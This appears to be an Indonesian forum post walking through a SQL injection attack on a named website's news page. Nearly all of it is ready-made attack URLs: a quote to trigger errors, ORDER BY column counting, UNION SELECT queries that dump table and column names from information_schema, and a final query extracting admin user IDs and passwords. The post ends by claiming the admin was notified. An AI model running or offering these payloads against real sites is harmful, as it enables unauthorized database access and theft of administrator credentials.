http://banksoal-online.com/
Posted
TErlebih dahulu kita harus login sebagai user untuk dapat membaca berita,,
http://banksoal-online.com/
http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=55
1.memunculkan error: http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=55'
2.Memeriksa jumlah field dari suatu tabel:
->http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=55%20order%20by%2021-- #gk error#
->http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=55%20order%20by%2022-- #error#
3.Mengeluarkan nomor field untuk menampilkan informasi yang diinginkan: http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=-55%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
4.mengeluarkan nama-nama tabel: http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=-55%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.tables%20where%20table_schema=database()--
5.memunculkan nama field dari tabel tuseradmin: http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=-55%20union%20select%201,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20information_schema.columns%20where%20table_name=0x747573657261646d696e--
nama tabel,yakni dlm hal ini users,harus dikonversikan ke hex,, untuk mengubah string ke hex,silahkan kesini http://www.string-functions.com/string-hex.aspx
5.Langkah terakhir kita akan mengeluarkan record-record dari tabel tuseradmin: http://banksoal-online.com/evenberita.php?fcmd=DETAIL&id=-55%20union%20select%201,2,3,4,5,group_concat(userid,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20tuseradmin--
admin telah diberitahu,, dan di respon dengan baik,,
maju terus IT indonesia,,